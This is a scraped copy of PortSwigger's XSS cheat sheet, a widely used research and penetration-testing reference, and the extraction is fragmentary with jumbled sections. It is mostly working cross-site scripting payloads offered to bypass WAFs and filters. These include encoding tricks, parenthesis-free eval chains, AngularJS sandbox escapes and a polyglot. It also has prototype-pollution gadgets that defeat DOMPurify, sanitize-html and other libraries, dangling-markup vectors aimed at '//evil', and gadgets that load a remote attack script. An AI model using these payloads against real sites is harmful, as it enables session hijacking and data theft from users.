添加链接
link管理
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接
Attack surface visibility Improve security posture, prioritize manual testing, free up time. CI-driven scanning More proactive security - find and fix vulnerabilities earlier. Application security testing See how our software enables the world to secure the web. DevSecOps Catch critical bugs; ship more secure software, more quickly. Penetration testing Accelerate penetration testing - find more bugs, more quickly. Automated scanning Scale dynamic scanning. Reduce risk. Save time/money. Bug bounty hunting Level up your hacking and earn more bug bounties. Compliance Enhance security monitoring to comply with confidence. View all solutions This cross-site scripting (XSS) cheat sheet contains many vectors that can help you bypass WAFs and filters. You can select vectors by the event, tag or browser and a proof of concept is included for every vector.

You can download a PDF version of the XSS cheat sheet .

This is a PortSwigger Research project. Follow us on Twitter to receive updates.

This cheat sheet is regularly updated in 2024. Last updated: Fri, 01 Mar 2024 10:23:00 +0000.

Table of contents oncanplaythrough

Fires when enough data has been loaded to play the resource all the way through

<video oncanplaythrough=alert(1)><source src="validvideo.mp4" type="video/mp4"></video> <video controls><source src=validvideo.mp4 type=video/mp4><track default oncuechange=alert(1) src="data:text/vtt,WEBVTT FILE 00:00:00.000 --> 00:00:05.000 <b>XSS</b> "></video> oninvalid

Requires a form submission with an element that does not satisfy its constraints such as a required attribute.

<form><input oninvalid=alert(1) required><input type=submit>

No parentheses, no quotes, no spaces using exception handling and location hash eval on all browsers

<script>throw{},onerror=Uncaught=eval,h=location.hash,e={lineNumber:1,columnNumber:1,fileName:0,message:h[2]+h[1]+h},!!window.InstallTrigger?e:e.message</script>

No parentheses, no quotes, no spaces, no curly brackets using exception handling and location hash eval on all browsers

<script>throw/x/,onerror=Uncaught=eval,h=location.hash,e=Error,e.lineNumber=e.columnNumber=e.fileName=e.message=h[2]+h[1]+h,!!window.InstallTrigger?e:e.message</script>

Avoiding Invalid left-hand side in assignment without `, (), ?, [], or , using object literal

<script>window.name='javascript:alert(1)';function blah(){} blah(""+{a:location=name}+"")</script>

Avoiding Invalid left-hand side in assignment without `, (), ?, [], or , using new class

<script>window.name='javascript:alert(1)';function blah(){} blah(""+new class b{toString=e=>location=name}+"")</script>

Characters \x09,\x0a,\x0d are allowed after protocol name before the colon

<a href="javascript :alert(1)">XSS</a> %C0%BCscript>alert(1)</script> %E0%80%BCscript>alert(1)</script> %F0%80%80%BCscript>alert(1)</script> %F8%80%80%80%BCscript>alert(1)</script> %FC%80%80%80%80%BCscript>alert(1)</script>

SVG script with HTML encoding

<svg><script>&#97;lert(1)</script></svg> <svg><script>&#x61;lert(1)</script></svg> <svg><script>alert&NewLine;(1)</script></svg> <svg><script>x="&quot;,alert(1)//";</script></svg>

Hex encoding without semi-colon provided next character is not a-f0-9

<a href="j&#x61vascript:alert(1)">XSS</a> <a href="&#x6a avascript:alert(1)">XSS</a> <a href="&#x6a avascript:alert(1)">XSS</a>

HTML entities

<a href="javascript&colon;alert(1)">XSS</a> <a href="java&Tab;script:alert(1)">XSS</a> <a href="java&NewLine;script:alert(1)">XSS</a> <a href="javascript&colon;alert&lpar;1&rpar;">XSS</a> Mario Heiderich (Cure53) & Sebastian Lekies (Google) & Eduardo Vela Nava (Google) & Krzysztof Kotowicz (Google)

<div v-html="''.constructor.constructor('alert(1)')()">a</div> c=''.sub.call;b=''.sub.bind;a=''.sub.apply; c.$apply=$apply;c.$eval=b;op=$root.$$phase; $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString; C=c.$apply(c);$root.$$phase=op;$root.$digest=od; B=C(b,c,b);$evalAsync(" astNode=pop();astNode.type='UnaryExpression'; astNode.operator='(window.X?void0:(window.X=true,alert(1)))+'; astNode.argument={type:'Identifier',name:'foo'}; m1=B($$asyncQueue.pop().expression,null,$root); m2=B(C,null,m1);[].push.apply=m2;a=''.sub; $eval('a(b.c)');[].push.apply=a; Jann Horn (Google) & Lukasz Plonka

{{c=''.sub.call;b=''.sub.bind;c.$apply=$apply;c.$eval=b;$root.$$phase=null;$root.$digest=$on; C=c.$apply(c);B=C(b,c,b);$evalAsync("astNode=pop();astNode.type='UnaryExpression';astNode.operator='alert(1)';astNode.argument={type:'Identifier'};");m1=$$asyncQueue.pop().expression;m2=B(C,null,m1);[].push.apply=m2;$eval('B(b)');}} Gareth Heyes (PortSwigger)

{}[['__proto__']]['x']=constructor.getOwnPropertyDescriptor;g={}[['__proto__']]['x'];{}[['__proto__']]['y']=g(''.sub[['__proto__']],'constructor');{}[['__proto__']]['z']=constructor.defineProperty;d={}[['__proto__']]['z'];d(''.sub[['__proto__']],'constructor',{value:false});{}[['__proto__']]['y'].value('alert(1)')() <table><thead background="//evil? <table><tbody background="//evil? <table><tfoot background="//evil? <table><td background="//evil? <table><th background="//evil?

Polyglot payload 2

javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>

Content types

This section lists content-types that can be used for XSS with the X-Content-Type-Options: nosniff header active.

Content-Type
text/html
application/xhtml+xml
application/xml
text/xml
image/svg+xml
text/xsl
application/vnd.wap.xhtml+xml
text/rdf
application/rdf+xml
application/mathml+xml
text/vtt
text/cache-manifest
Browsers
Does work in Chrome Does work in Firefox Does work in Safari
Does work in Chrome Does work in Firefox Does work in Safari
Does work in Chrome Does work in Firefox Does work in Safari
Does work in Chrome Does work in Firefox Does work in Safari
Does work in Chrome Does work in Firefox Does work in Safari
Does work in Chrome Does work in Safari
Does work in Firefox Does work in Safari
Does work in Firefox
Does work in Firefox
Does work in Firefox

Response content types

This section lists content-types that can be used for XSS when you can inject into the content-type header.

Content-Type
text/plain; x=x, text/html, foobar
text/html(xxx
text/html xxx
text/html xxx
text/html, xxx
text/html; xxx
Browsers
Does work in Chrome Does work in Firefox
Does work in Chrome Does work in Firefox
Does work in Chrome Does work in Firefox
Does work in Chrome Does work in Firefox
Does work in Chrome Does work in Firefox Does work in Safari
Does work in Chrome Does work in Firefox Does work in Safari

Impossible labs

To find out what these are for, please refer to Documenting the impossible: Unexploitable XSS labs .

Title Description Length limit Closest vector Basic context, WAF blocks <[a-zA-Z]This lab captures the scenario when you can't use an open tag followed by an alphanumeric character. Sometimes you can solve this problem by bypassing the WAF entirely, but what about when that's not an option? Certain versions of .NET have this behaviour, and it's only known to be exploitable in old IE with <%tag.N/AN/A 🔗 Script based injection but quotes, forward slash and backslash are escapedWe often encounter this situation in the wild: you have an injection inside a JavaScript variable and can inject angle brackets, but quotes and forward/backslashes are escaped so you can't simply close the script block.

The closest we've got to solving this is when you have multiple injection points. The first within a script based context and the second in HTML .N/AN/A 🔗 innerHTML context but no equals allowedYou have a site that processes the query string and URL decodes the parameters but splits on the equals then assigns to innerHTML. In this context <script> doesn't work and we can't use = to create an event.N/AN/A 🔗 Basic context length limitThis lab's injection occurs within the basic HTML context but has a length limitation of 15. Filedescriptor came up with a vector that could execute JavaScript in 16 characters: <q oncut=alert`` but can you beat it?15<q oncut=alert`` 🔗 Attribute context length limitThe context of this lab inside an attribute with a length limitation of 14 characters. We came up with a vector that executes JavaScript in 15 characters:"oncut=alert``+ the plus is a trailing space. Do you think you can beat it?14"oncut=alert`` 🔗 Basic context length limit, arbitrary codeIt's all well and good executing JavaScript but if all you can do is call alert what use is that? In this lab we demonstrate the shortest possible way to execute arbitrary code.19<q oncut=eval(name) 🔗 Attribute context length limit arbitrary codeAgain calling alert proves you can call a function but we created another lab to find the shortest possible attribute based injection with arbitrary JavaScript.17 See link 🔗 Injection occurs inside a frameset but before the bodyWe received a request from twitter about this next lab. It occurs within a frameset but before a body tag with equals filtered. You would think you could inject a closing frameset followed by a script block but that would be too easy.N/AN/A 🔗 Injection occurs inside single quoted string, only characters a-z0-9+'.` are allowed.The injection occurs within a single quoted string and the challenge is to execute arbitrary code using the charset a-zA-Z0-9'+.`. Luan Herrera solved this lab in an amazing way, you can view the solution in the following post. N/AN/A 🔗 Injection occurs inside double quoted src attribute of a image elementThe double quote is encoded, the challenge is to find a way to execute XSS within a quoted src attribute.N/AN/A 🔗 Fingerprint Wistia Embedded Video <script>
Object.prototype.innerHTML = '<img/src/onerror=alert(1)>';
</script>
William Bowling All versionsreturn (typeof wistiaEmbeds !== 'undefined')$(x).off jQuery <script>
Object.prototype.preventDefault='x';
Object.prototype.handleObj='x';
Object.prototype.delegateTarget='<img/src/onerror=alert(1)>';
/* No extra code needed for jQuery 1 & 2 */$(document).off('foobar');
</script>
Sergey Bobrov All versionsreturn (typeof $ !== 'undefined' && typeof $.fn !== 'undefined' && typeof $.fn.jquery !== 'undefined')$(html) jQuery <script>
Object.prototype.div=['1','<img src onerror=alert(1)>','1']
</script><script>
$('<div x="x"></div>')
</script>
Sergey Bobrov All versionsreturn (typeof $ !== 'undefined' && typeof $.fn !== 'undefined' && typeof $.fn.jquery !== 'undefined')$.get jQuery <script>
Object.prototype.url = ['data:,alert(1)//'];
Object.prototype.dataType = 'script';
</script>
<script>
$.get('https://google.com/');
$.post('https://google.com/');
</script>
Michał Bentkowski >= 3.0.0return (typeof $ !== 'undefined' && typeof $.fn !== 'undefined' && typeof $.fn.jquery !== 'undefined')$.getScript jQuery <script>
Object.prototype.src = ['data:,alert(1)//']
</script>
<script>
$.getScript('https://google.com/')
</script>
s1r1us >= 3.4.0return (typeof $ !== 'undefined' && typeof $.fn !== 'undefined' && typeof $.fn.jquery !== 'undefined')$.getScript jQuery <script>
Object.prototype.url = 'data:,alert(1)//'
</script>
<script>
$.getScript('https://google.com/')
</script>
s1r1us 3.0.0 - 3.3.1return (typeof $ !== 'undefined' && typeof $.fn !== 'undefined' && typeof $.fn.jquery !== 'undefined')Google reCAPTCHA <script>
Object.prototype.srcdoc=['<script>alert(1)<\/script>']
</script>
<div class="g-recaptcha" data-sitekey="your-site-key"/>
s1r1us return (typeof recaptcha !== 'undefined')Twitter Universal Website Tag <script>
Object.prototype.hif = ['javascript:alert(document.domain)'];
</script>
Sergey Bobrov return (typeof twq !== 'undefined' && typeof twq.version !== 'undefined')Tealium Universal Tag <script>
Object.prototype.attrs = {src:1};
Object.prototype.src='https://portswigger-labs.net/xss/xss.js'
</script>
Sergey Bobrov return (typeof utag !== 'undefined' && typeof utag.id !== 'undefined')Akamai Boomerang <script>Object.prototype.BOOMR = 1;
Object.prototype.url='https://portswigger-labs.net/xss/xss.js'</script>
s1r1us return (typeof BOOMR !== 'undefined')Lodash <script>
Object.prototype.sourceURL = '\u2028\u2029alert(1)'
</script>
<script>
_.template('test')
</script>
Alex Brasetvik <= 4.17.15return (typeof _ !== 'undefined' && typeof _.template !== 'undefined' && typeof _.VERSION !== 'undefined')sanitize-html <script>
Object.prototype['*'] = ['onload']</script>
<script>
document.write(sanitizeHtml('<iframe onload=alert(1)>'))
</script>
Michał Bentkowski return (typeof sanitizeHtml !== 'undefined')js-xss <script>
Object.prototype.whiteList = {img: ['onerror', 'src']}
</script>
<script>
document.write(filterXSS('<img src onerror=alert(1)>'))
</script>
Michał Bentkowski return (typeof filterXSS !== 'undefined')DOMPurify <script>
Object.prototype.ALLOWED_ATTR = ['onerror', 'src']
</script>
<script>
document.write(DOMPurify.sanitize('<img src onerror=alert(1)>'))
</script>
Michał Bentkowski <= 2.0.12return (typeof DOMPurify !== 'undefined')DOMPurify <script>
Object.prototype.documentMode = 9
</script>
Michał Bentkowski <= 2.0.12return (typeof DOMPurify !== 'undefined')Closure <script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);

document.body.append(node);
</script>
Michał Bentkowski return (typeof goog !== 'undefined' && typeof goog.basePath !== 'undefined')Closure <script>
Object.prototype.CLOSURE_BASE_PATH = 'data:,alert(1)//';
</script>
Michał Bentkowski return (typeof goog !== 'undefined' && typeof goog.basePath !== 'undefined')Marionette.js / Backbone.js <script>
Object.prototype.tagName = 'img'
Object.prototype.src = ['x:x']
Object.prototype.onerror = ['alert(1)']
</script>
<script>
(function() {
var View = Mn.View.extend({template: '#template-layout'});
var App = Mn.Application.extend({region: '#app', onStart: function() {this.showView(new View());}});
var app = new App();
app.start();
})();
</script>
<div id="template-layout" type="x-template/underscore">xxx</div>
Sergey Bobrov return (typeof Marionette !== 'undefined') return (typeof Backbone !== 'undefined' && typeof Backbone.VERSION !== 'undefined')Adobe Dynamic Tag Management <script>
Object.prototype.src='data:,alert(1)//'
</script>
Sergey Bobrov return (typeof _satellite !== 'undefined')Embedly Cards <script>
Object.prototype.onload = 'alert(1)'
</script>
Guilherme Keerok return (typeof window.embedly !== 'undefined')Segment Analytics.js <script>
Object.prototype.script = [1,'<img/src/onerror=alert(1)>','<img/src/onerror=alert(2)>']
</script>
Sergey Bobrov return (typeof analytics !== 'undefined' && typeof analytics.SNIPPET_VERSION !== 'undefined')Knockout.js <strong data-bind="text:'hello'"></strong>
<script>
Object.prototype[4]="a':1,[alert(1)]:1,'b";Object.prototype[5]=',';
</script><script>
ko.applyBindings({})
</script>
Michał Bentkowski

VBScript protocol used to work in IE

<a href="vbscript:MsgBox+1">XSS</a> <a href="#" onclick="vbs:Msgbox+1">XSS</a> <a href="#" onclick="VBS:Msgbox+1">XSS</a> <a href="#" onclick="vbscript:Msgbox+1">XSS</a> <a href="#" onclick="VBSCRIPT:Msgbox+1">XSS</a> <a href="#" language=vbs onclick="vbscript:Msgbox+1">XSS</a>

JScript compact was a minimal version of JS that wasn't widely used in IE

<a href="#" onclick="jscript.compact:alert(1);">test</a> <a href="#" onclick="JSCRIPT.COMPACT:alert(1);">test</a>

JScript.Encode allows encoded JavaScript

<a href=# language="JScript.Encode" onclick="#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">XSS</a> <a href=# onclick="JScript.Encode:#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">XSS</a>

VBScript.Encoded allows encoded VBScript

<iframe onload=VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@> <iframe language=VBScript.Encode onload=#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>

XBL Firefox only <= 2

<div style="-moz-binding:url(//businessinfo.co.uk/labs/xbl/xbl.xml#xss)"> <div style="\-\mo\z-binding:url(//businessinfo.co.uk/labs/xbl/xbl.xml#xss)"> <div style="-moz-bindin\67:url(//businessinfo.co.uk/lab s/xbl/xbl.xml#xss)"> <div style="-moz-bindin&#x5c;67:url(//businessinfo.co.uk/lab s/xbl/xbl.xml#xss)">

XBL also worked in FF3.5 using data urls

<img src="blah" style="-moz-binding: url(data:text/xml;charset=utf-8,%3C%3Fxml%20version%3D%221.0%22%3F%3E%3Cbindings%20xmlns%3D%22 http%3A//www.mozilla.org/xbl%22%3E%3Cbinding%20id%3D%22loader%22%3E%3Cimplementation%3E%3Cconstructor%3E%3C%21%5BCDATA%5Bvar%20url%20%3D%20%22alert.js %22%3B%20var%20scr%20%3D%20document.createElement%28%22script%22%29%3B%20scr.setAttribute%28%22src%22%2Curl%29%3B%20var%20bodyElement%20%3D%20 document.getElementsByTagName%28%22html%22%29.item%280%29%3B%20bodyElement.appendChild%28scr%29%3B%20%5D%5D%3E%3C/constructor%3E%3C/implementation%3E%3C/ binding%3E%3C/bindings%3E)" />

CSS expressions <=IE7

<div style=xss:expression(alert(1))> <div style=xss:expression(1)-alert(1)> <div style=xss:expressio\6e(alert(1))> <div style=xss:expressio\006e(alert(1))> <div style=xss:expressio\00006e(alert(1))> <div style=xss:expressio\6e(alert(1))> <div style=xss:expressio&#x5c;6e(alert(1))>

Older versions of IE supported event handlers in functions

<script> function window.onload(){ alert(1); </script> <script> function window::onload(){ alert(1); </script> <script> function window.location(){ </script> <script> function/*<img src=1 onerror=alert(1)>*/document.body.innerHTML(){} </script> </body> <script> function document.body.innerHTML(){ x = "<img src=1 onerror=alert(1)>"; } </script> </body>